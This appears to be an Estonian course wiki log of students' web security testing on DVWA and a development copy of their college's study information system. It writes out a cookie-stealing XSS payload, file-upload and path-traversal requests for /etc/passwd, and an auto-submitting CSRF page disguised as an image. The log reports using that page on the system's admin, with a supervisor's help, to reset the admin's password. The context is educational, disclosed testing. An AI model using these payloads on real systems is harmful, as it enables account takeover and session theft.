&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
